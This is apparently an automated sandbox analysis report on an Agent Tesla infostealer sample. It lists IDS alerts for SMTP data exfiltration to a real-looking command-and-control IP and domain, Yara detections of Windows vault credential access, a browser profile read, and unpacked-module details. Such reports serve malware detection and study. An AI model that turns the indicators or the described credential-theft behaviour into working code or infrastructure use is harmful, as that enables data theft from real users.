Source: C:\Users\user\AppData\Roaming\itdtn.exe	Code function: 4x nop then cmp dword ptr [ebp-20h], 00000000h	4_2_05E17BF3
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Code function: 4x nop then cmp dword ptr [ebp-20h], 00000000h	4_2_05E17BF8

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2855542 ETPRO TROJAN Agent Tesla CnC Exfil Activity 192.168.2.5:49705 -> 66.29.151.236:587
Source: Traffic	Snort IDS: 2855245 ETPRO TROJAN Agent Tesla Exfil via SMTP 192.168.2.5:49705 -> 66.29.151.236:587
Source: Traffic	Snort IDS: 2851779 ETPRO TROJAN Agent Tesla Telegram Exfil 192.168.2.5:49705 -> 66.29.151.236:587
Source: Traffic	Snort IDS: 2840032 ETPRO TROJAN Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2 192.168.2.5:49705 -> 66.29.151.236:587
Source: Traffic	Snort IDS: 2030171 ET TROJAN AgentTesla Exfil Via SMTP 192.168.2.5:49705 -> 66.29.151.236:587
Source: Traffic	Snort IDS: 2855542 ETPRO TROJAN Agent Tesla CnC Exfil Activity 192.168.2.5:49715 -> 66.29.151.236:587
Source: Traffic	Snort IDS: 2855245 ETPRO TROJAN Agent Tesla Exfil via SMTP 192.168.2.5:49715 -> 66.29.151.236:587
Source: Traffic	Snort IDS: 2851779 ETPRO TROJAN Agent Tesla Telegram Exfil 192.168.2.5:49715 -> 66.29.151.236:587
Source: Traffic	Snort IDS: 2840032 ETPRO TROJAN Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2 192.168.2.5:49715 -> 66.29.151.236:587
Source: Traffic	Snort IDS: 2030171 ET TROJAN AgentTesla Exfil Via SMTP 192.168.2.5:49715 -> 66.29.151.236:587

Yara detected Generic Downloader

Source: Yara match	File source: 0.2.Copy#51007602.exe.40111f0.11.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Copy#51007602.exe.3de7dd0.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Copy#51007602.exe.3bbe9a0.3.raw.unpack, type: UNPACKEDPE

Source: global traffic

TCP traffic: 192.168.2.5:49705 -> 66.29.151.236:587

Source: Joe Sandbox View	IP Address: 66.29.151.236 66.29.151.236
Source: Joe Sandbox View	IP Address: 104.26.13.205 104.26.13.205
Source: Joe Sandbox View	IP Address: 104.26.13.205 104.26.13.205

Source: Joe Sandbox View

ASN Name: ADVANTAGECOMUS ADVANTAGECOMUS

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: api.ipify.org

Source: global traffic

TCP traffic: 192.168.2.5:49705 -> 66.29.151.236:587

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: api.ipify.org
Source: global traffic	DNS traffic detected: DNS query: jahnindustry.shop

Source: Copy#51007602.exe, 00000002.00000002.3235618888.0000000003307000.00000004.00000800.00020000.00000000.sdmp, itdtn.exe, 00000005.00000002.3236815937.0000000003347000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://jahnindustry.shop
Source: Copy#51007602.exe, 00000000.00000002.2111351064.0000000002CEE000.00000004.00000800.00020000.00000000.sdmp, Copy#51007602.exe, 00000002.00000002.3235618888.0000000003291000.00000004.00000800.00020000.00000000.sdmp, itdtn.exe, 00000004.00000002.2229535791.000000000357C000.00000004.00000800.00020000.00000000.sdmp, itdtn.exe, 00000005.00000002.3236815937.00000000032DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: Copy#51007602.exe, 00000000.00000002.2114770908.0000000003991000.00000004.00000800.00020000.00000000.sdmp, Copy#51007602.exe, 00000000.00000002.2111351064.0000000002B74000.00000004.00000800.00020000.00000000.sdmp, itdtn.exe, 00000004.00000002.2235868873.0000000005056000.00000004.00000800.00020000.00000000.sdmp, itdtn.exe, 00000004.00000002.2229535791.0000000003633000.00000004.00000800.00020000.00000000.sdmp, itdtn.exe, 00000005.00000002.3231826482.000000000042F000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://account.dyn.com/
Source: Copy#51007602.exe, 00000000.00000002.2114770908.0000000003991000.00000004.00000800.00020000.00000000.sdmp, Copy#51007602.exe, 00000000.00000002.2111351064.0000000002B74000.00000004.00000800.00020000.00000000.sdmp, Copy#51007602.exe, 00000002.00000002.3235618888.0000000003291000.00000004.00000800.00020000.00000000.sdmp, itdtn.exe, 00000004.00000002.2235868873.0000000005056000.00000004.00000800.00020000.00000000.sdmp, itdtn.exe, 00000004.00000002.2229535791.0000000003633000.00000004.00000800.00020000.00000000.sdmp, itdtn.exe, 00000005.00000002.3231826482.000000000042F000.00000040.00000400.00020000.00000000.sdmp, itdtn.exe, 00000005.00000002.3236815937.00000000032DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org
Source: Copy#51007602.exe, 00000002.00000002.3235618888.0000000003291000.00000004.00000800.00020000.00000000.sdmp, itdtn.exe, 00000005.00000002.3236815937.00000000032DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org/
Source: Copy#51007602.exe, 00000002.00000002.3235618888.0000000003291000.00000004.00000800.00020000.00000000.sdmp, itdtn.exe, 00000005.00000002.3236815937.00000000032DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org/t
Source: Copy#51007602.exe, 00000000.00000002.2114770908.00000000045F2000.00000004.00000800.00020000.00000000.sdmp, Copy#51007602.exe, 00000000.00000002.2114770908.00000000046BE000.00000004.00000800.00020000.00000000.sdmp, Copy#51007602.exe, 00000000.00000002.2123138110.0000000004F30000.00000004.08000000.00040000.00000000.sdmp, Copy#51007602.exe, 00000000.00000002.2111351064.0000000002B74000.00000004.00000800.00020000.00000000.sdmp, itdtn.exe, 00000004.00000002.2229535791.0000000003371000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-net
Source: Copy#51007602.exe, 00000000.00000002.2114770908.00000000045F2000.00000004.00000800.00020000.00000000.sdmp, Copy#51007602.exe, 00000000.00000002.2114770908.00000000046BE000.00000004.00000800.00020000.00000000.sdmp, Copy#51007602.exe, 00000000.00000002.2123138110.0000000004F30000.00000004.08000000.00040000.00000000.sdmp, Copy#51007602.exe, 00000000.00000002.2111351064.0000000002B74000.00000004.00000800.00020000.00000000.sdmp, itdtn.exe, 00000004.00000002.2229535791.0000000003371000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-netJ
Source: Copy#51007602.exe, 00000000.00000002.2114770908.00000000045F2000.00000004.00000800.00020000.00000000.sdmp, Copy#51007602.exe, 00000000.00000002.2114770908.00000000046BE000.00000004.00000800.00020000.00000000.sdmp, Copy#51007602.exe, 00000000.00000002.2123138110.0000000004F30000.00000004.08000000.00040000.00000000.sdmp, Copy#51007602.exe, 00000000.00000002.2111351064.0000000002B74000.00000004.00000800.00020000.00000000.sdmp, itdtn.exe, 00000004.00000002.2229535791.0000000003371000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-neti
Source: Copy#51007602.exe, 00000000.00000002.2114770908.00000000045F2000.00000004.00000800.00020000.00000000.sdmp, Copy#51007602.exe, 00000000.00000002.2114770908.00000000046BE000.00000004.00000800.00020000.00000000.sdmp, Copy#51007602.exe, 00000000.00000002.2123138110.0000000004F30000.00000004.08000000.00040000.00000000.sdmp, Copy#51007602.exe, 00000000.00000002.2111351064.0000000002B74000.00000004.00000800.00020000.00000000.sdmp, itdtn.exe, 00000004.00000002.2229535791.0000000003371000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/11564914/23354;
Source: Copy#51007602.exe, 00000000.00000002.2114770908.00000000045F2000.00000004.00000800.00020000.00000000.sdmp, Copy#51007602.exe, 00000000.00000002.2111351064.0000000002CEE000.00000004.00000800.00020000.00000000.sdmp, Copy#51007602.exe, 00000000.00000002.2114770908.00000000046BE000.00000004.00000800.00020000.00000000.sdmp, Copy#51007602.exe, 00000000.00000002.2123138110.0000000004F30000.00000004.08000000.00040000.00000000.sdmp, Copy#51007602.exe, 00000000.00000002.2111351064.0000000002B74000.00000004.00000800.00020000.00000000.sdmp, itdtn.exe, 00000004.00000002.2229535791.0000000003371000.00000004.00000800.00020000.00000000.sdmp, itdtn.exe, 00000004.00000002.2229535791.00000000034EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/14436606/23354
Source: Copy#51007602.exe, 00000000.00000002.2114770908.00000000045F2000.00000004.00000800.00020000.00000000.sdmp, Copy#51007602.exe, 00000000.00000002.2114770908.00000000046BE000.00000004.00000800.00020000.00000000.sdmp, Copy#51007602.exe, 00000000.00000002.2123138110.0000000004F30000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/2152978/23354

Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714

Source: unknown	HTTPS traffic detected: 104.26.13.205:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.13.205:443 -> 192.168.2.5:49714 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: 4.2.itdtn.exe.506b9a8.11.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 4.2.itdtn.exe.506b9a8.11.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.Copy#51007602.exe.40111f0.11.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.Copy#51007602.exe.3de7dd0.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.Copy#51007602.exe.3bbe9a0.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen

Drops large PE files

Source: C:\Users\user\Desktop\Copy#51007602.exe

File dump: itdtn.exe.0.dr 293997803

Jump to dropped file

Source: C:\Users\user\Desktop\Copy#51007602.exe	Code function: 0_2_00F150C8	0_2_00F150C8
Source: C:\Users\user\Desktop\Copy#51007602.exe	Code function: 0_2_00F1B1A7	0_2_00F1B1A7
Source: C:\Users\user\Desktop\Copy#51007602.exe	Code function: 0_2_00F1C5C4	0_2_00F1C5C4
Source: C:\Users\user\Desktop\Copy#51007602.exe	Code function: 0_2_00F18AF0	0_2_00F18AF0
Source: C:\Users\user\Desktop\Copy#51007602.exe	Code function: 0_2_00F16C6C	0_2_00F16C6C
Source: C:\Users\user\Desktop\Copy#51007602.exe	Code function: 0_2_00F150B8	0_2_00F150B8
Source: C:\Users\user\Desktop\Copy#51007602.exe	Code function: 0_2_00F18838	0_2_00F18838
Source: C:\Users\user\Desktop\Copy#51007602.exe	Code function: 0_2_00F18828	0_2_00F18828
Source: C:\Users\user\Desktop\Copy#51007602.exe	Code function: 0_2_00F1880F	0_2_00F1880F
Source: C:\Users\user\Desktop\Copy#51007602.exe	Code function: 0_2_00F18ADF	0_2_00F18ADF
Source: C:\Users\user\Desktop\Copy#51007602.exe	Code function: 0_2_04ED06D8	0_2_04ED06D8
Source: C:\Users\user\Desktop\Copy#51007602.exe	Code function: 0_2_04ED06D5	0_2_04ED06D5
Source: C:\Users\user\Desktop\Copy#51007602.exe	Code function: 0_2_04EF183F	0_2_04EF183F
Source: C:\Users\user\Desktop\Copy#51007602.exe	Code function: 0_2_04EF2E58	0_2_04EF2E58
Source: C:\Users\user\Desktop\Copy#51007602.exe	Code function: 0_2_04EF1B77	0_2_04EF1B77
Source: C:\Users\user\Desktop\Copy#51007602.exe	Code function: 0_2_04F16E58	0_2_04F16E58
Source: C:\Users\user\Desktop\Copy#51007602.exe	Code function: 0_2_04F17B31	0_2_04F17B31
Source: C:\Users\user\Desktop\Copy#51007602.exe	Code function: 0_2_04F16338	0_2_04F16338
Source: C:\Users\user\Desktop\Copy#51007602.exe	Code function: 0_2_04F16E48	0_2_04F16E48
Source: C:\Users\user\Desktop\Copy#51007602.exe	Code function: 0_2_04F137AE	0_2_04F137AE
Source: C:\Users\user\Desktop\Copy#51007602.exe	Code function: 0_2_04F1807E	0_2_04F1807E
Source: C:\Users\user\Desktop\Copy#51007602.exe	Code function: 0_2_04F1705C	0_2_04F1705C
Source: C:\Users\user\Desktop\Copy#51007602.exe	Code function: 0_2_04F10040	0_2_04F10040
Source: C:\Users\user\Desktop\Copy#51007602.exe	Code function: 0_2_04F10006	0_2_04F10006
Source: C:\Users\user\Desktop\Copy#51007602.exe	Code function: 0_2_04F16991	0_2_04F16991
Source: C:\Users\user\Desktop\Copy#51007602.exe	Code function: 0_2_04F11AA0	0_2_04F11AA0
Source: C:\Users\user\Desktop\Copy#51007602.exe	Code function: 0_2_04F11A90	0_2_04F11A90
Source: C:\Users\user\Desktop\Copy#51007602.exe	Code function: 0_2_04F16328	0_2_04F16328
Source: C:\Users\user\Desktop\Copy#51007602.exe	Code function: 0_2_0547DDD8	0_2_0547DDD8
Source: C:\Users\user\Desktop\Copy#51007602.exe	Code function: 0_2_05470808	0_2_05470808
Source: C:\Users\user\Desktop\Copy#51007602.exe	Code function: 0_2_0547D8C0	0_2_0547D8C0
Source: C:\Users\user\Desktop\Copy#51007602.exe	Code function: 0_2_0547FA80	0_2_0547FA80
Source: C:\Users\user\Desktop\Copy#51007602.exe	Code function: 0_2_0547DDC9	0_2_0547DDC9
Source: C:\Users\user\Desktop\Copy#51007602.exe	Code function: 0_2_05471D94	0_2_05471D94
Source: C:\Users\user\Desktop\Copy#51007602.exe	Code function: 0_2_0547D8B1	0_2_0547D8B1
Source: C:\Users\user\Desktop\Copy#51007602.exe	Code function: 0_2_0547FA50	0_2_0547FA50
Source: C:\Users\user\Desktop\Copy#51007602.exe	Code function: 0_2_0548F108	0_2_0548F108
Source: C:\Users\user\Desktop\Copy#51007602.exe	Code function: 0_2_05480040	0_2_05480040
Source: C:\Users\user\Desktop\Copy#51007602.exe	Code function: 0_2_05480006	0_2_05480006
Source: C:\Users\user\Desktop\Copy#51007602.exe	Code function: 0_2_055091A2	0_2_055091A2
Source: C:\Users\user\Desktop\Copy#51007602.exe	Code function: 0_2_05508F43	0_2_05508F43
Source: C:\Users\user\Desktop\Copy#51007602.exe	Code function: 0_2_05508BB8	0_2_05508BB8
Source: C:\Users\user\Desktop\Copy#51007602.exe	Code function: 0_2_05508BA8	0_2_05508BA8
Source: C:\Users\user\Desktop\Copy#51007602.exe	Code function: 0_2_0572C858	0_2_0572C858
Source: C:\Users\user\Desktop\Copy#51007602.exe	Code function: 0_2_05710040	0_2_05710040
Source: C:\Users\user\Desktop\Copy#51007602.exe	Code function: 0_2_0571003B	0_2_0571003B
Source: C:\Users\user\Desktop\Copy#51007602.exe	Code function: 0_2_0571001F	0_2_0571001F
Source: C:\Users\user\Desktop\Copy#51007602.exe	Code function: 2_2_030FE648	2_2_030FE648
Source: C:\Users\user\Desktop\Copy#51007602.exe	Code function: 2_2_030FAA28	2_2_030FAA28
Source: C:\Users\user\Desktop\Copy#51007602.exe	Code function: 2_2_030F4A98	2_2_030F4A98
Source: C:\Users\user\Desktop\Copy#51007602.exe	Code function: 2_2_030F3E80	2_2_030F3E80
Source: C:\Users\user\Desktop\Copy#51007602.exe	Code function: 2_2_030F41C8	2_2_030F41C8
Source: C:\Users\user\Desktop\Copy#51007602.exe	Code function: 2_2_06FDA178	2_2_06FDA178
Source: C:\Users\user\Desktop\Copy#51007602.exe	Code function: 2_2_06FE6600	2_2_06FE6600
Source: C:\Users\user\Desktop\Copy#51007602.exe	Code function: 2_2_06FE55B0	2_2_06FE55B0
Source: C:\Users\user\Desktop\Copy#51007602.exe	Code function: 2_2_06FEB250	2_2_06FEB250
Source: C:\Users\user\Desktop\Copy#51007602.exe	Code function: 2_2_06FE2388	2_2_06FE2388
Source: C:\Users\user\Desktop\Copy#51007602.exe	Code function: 2_2_06FEC190	2_2_06FEC190
Source: C:\Users\user\Desktop\Copy#51007602.exe	Code function: 2_2_06FE7D90	2_2_06FE7D90
Source: C:\Users\user\Desktop\Copy#51007602.exe	Code function: 2_2_06FE76B0	2_2_06FE76B0
Source: C:\Users\user\Desktop\Copy#51007602.exe	Code function: 2_2_06FEE3B0	2_2_06FEE3B0
Source: C:\Users\user\Desktop\Copy#51007602.exe	Code function: 2_2_06FE0040	2_2_06FE0040
Source: C:\Users\user\Desktop\Copy#51007602.exe	Code function: 2_2_06FE5D08	2_2_06FE5D08
Source: C:\Users\user\Desktop\Copy#51007602.exe	Code function: 2_2_06FE0007	2_2_06FE0007
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Code function: 4_2_02F6B1A7	4_2_02F6B1A7
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Code function: 4_2_02F6C5C4	4_2_02F6C5C4
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Code function: 4_2_02F68AF0	4_2_02F68AF0
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Code function: 4_2_02F66C6C	4_2_02F66C6C
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Code function: 4_2_02F650C8	4_2_02F650C8
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Code function: 4_2_02F650B8	4_2_02F650B8
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Code function: 4_2_02F626BA	4_2_02F626BA
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Code function: 4_2_02F68ADF	4_2_02F68ADF
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Code function: 4_2_02F68838	4_2_02F68838
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Code function: 4_2_02F6880F	4_2_02F6880F
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Code function: 4_2_02F65ED7	4_2_02F65ED7
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Code function: 4_2_05B01847	4_2_05B01847
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Code function: 4_2_05B02E58	4_2_05B02E58
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Code function: 4_2_05B01B77	4_2_05B01B77
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Code function: 4_2_05B26E58	4_2_05B26E58
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Code function: 4_2_05B27B31	4_2_05B27B31
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Code function: 4_2_05B26338	4_2_05B26338
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Code function: 4_2_05B26E48	4_2_05B26E48
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Code function: 4_2_05B20006	4_2_05B20006
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Code function: 4_2_05B28077	4_2_05B28077
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Code function: 4_2_05B2705C	4_2_05B2705C
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Code function: 4_2_05B20040	4_2_05B20040
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Code function: 4_2_05B26328	4_2_05B26328
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Code function: 4_2_05B21AA0	4_2_05B21AA0
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Code function: 4_2_05B21A90	4_2_05B21A90
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Code function: 4_2_05D1E780	4_2_05D1E780
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Code function: 4_2_05D11BF8	4_2_05D11BF8
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Code function: 4_2_05D2F108	4_2_05D2F108
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Code function: 4_2_05D20040	4_2_05D20040
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Code function: 4_2_05D2001D	4_2_05D2001D
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Code function: 4_2_05E18688	4_2_05E18688
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Code function: 4_2_05E18698	4_2_05E18698
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Code function: 4_2_05FCC858	4_2_05FCC858
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Code function: 4_2_05FB0040	4_2_05FB0040
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Code function: 4_2_05FB0006	4_2_05FB0006
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Code function: 5_2_01ACE639	5_2_01ACE639
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Code function: 5_2_01AC4A98	5_2_01AC4A98
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Code function: 5_2_01ACAA22	5_2_01ACAA22
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Code function: 5_2_01AC3E80	5_2_01AC3E80
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Code function: 5_2_01AC41C8	5_2_01AC41C8
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Code function: 5_2_06FEA178	5_2_06FEA178
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Code function: 5_2_06FF6600	5_2_06FF6600
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Code function: 5_2_06FF55B0	5_2_06FF55B0
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Code function: 5_2_06FFB23F	5_2_06FFB23F
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Code function: 5_2_06FF3070	5_2_06FF3070
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Code function: 5_2_06FFC190	5_2_06FFC190
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Code function: 5_2_06FF7D90	5_2_06FF7D90
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Code function: 5_2_06FF76B0	5_2_06FF76B0
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Code function: 5_2_06FFE3B0	5_2_06FFE3B0
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Code function: 5_2_06FF2378	5_2_06FF2378
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Code function: 5_2_06FF0040	5_2_06FF0040
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Code function: 5_2_06FF5CF7	5_2_06FF5CF7
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Code function: 5_2_06FF0037	5_2_06FF0037
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Code function: 5_2_06FF0017	5_2_06FF0017

Source: Copy#51007602.exe

Static PE information: invalid certificate

Source: Copy#51007602.exe, 00000000.00000002.2123443818.00000000050D0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameRamobntk.dll" vs Copy#51007602.exe
Source: Copy#51007602.exe, 00000000.00000002.2114770908.00000000045F2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs Copy#51007602.exe
Source: Copy#51007602.exe, 00000000.00000002.2108786993.00000000009CE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs Copy#51007602.exe
Source: Copy#51007602.exe, 00000000.00000002.2111351064.0000000002CEE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs Copy#51007602.exe
Source: Copy#51007602.exe, 00000000.00000002.2111351064.0000000002A05000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclrjit.dllT vs Copy#51007602.exe
Source: Copy#51007602.exe, 00000000.00000002.2111351064.0000000002A05000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename vs Copy#51007602.exe
Source: Copy#51007602.exe, 00000000.00000002.2111351064.0000000002A05000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]q,\\StringFileInfo\\040904B0\\OriginalFilename vs Copy#51007602.exe
Source: Copy#51007602.exe, 00000000.00000002.2114770908.0000000003991000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameRamobntk.dll" vs Copy#51007602.exe
Source: Copy#51007602.exe, 00000000.00000002.2114770908.0000000003991000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameea41cd90-05ce-41ae-8370-da9b61ece0fb.exe4 vs Copy#51007602.exe
Source: Copy#51007602.exe, 00000000.00000002.2126157017.0000000005510000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs Copy#51007602.exe
Source: Copy#51007602.exe, 00000000.00000002.2114770908.00000000046BE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs Copy#51007602.exe
Source: Copy#51007602.exe, 00000000.00000002.2123138110.0000000004F30000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs Copy#51007602.exe
Source: Copy#51007602.exe, 00000000.00000002.2111351064.0000000002B74000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameea41cd90-05ce-41ae-8370-da9b61ece0fb.exe4 vs Copy#51007602.exe
Source: Copy#51007602.exe, 00000000.00000002.2111351064.0000000002B74000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs Copy#51007602.exe
Source: Copy#51007602.exe, 00000002.00000002.3232483832.0000000001389000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameUNKNOWN_FILET vs Copy#51007602.exe
Source: Copy#51007602.exe	Binary or memory string: OriginalFilenameDoc.exe> vs Copy#51007602.exe

Source: Copy#51007602.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: 4.2.itdtn.exe.506b9a8.11.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 4.2.itdtn.exe.506b9a8.11.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.Copy#51007602.exe.40111f0.11.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.Copy#51007602.exe.3de7dd0.6.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.Copy#51007602.exe.3bbe9a0.3.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@6/3@2/2

Source: C:\Users\user\Desktop\Copy#51007602.exe

File created: C:\Users\user\AppData\Roaming\itdtn.exe

Jump to behavior

Source: C:\Users\user\AppData\Roaming\itdtn.exe

Mutant created: NULL

Source: Copy#51007602.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: Copy#51007602.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 50.01%

Source: C:\Users\user\Desktop\Copy#51007602.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\Desktop\Copy#51007602.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\itdtn.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\itdtn.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\Copy#51007602.exe

File read: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini

Jump to behavior

Source: C:\Users\user\Desktop\Copy#51007602.exe

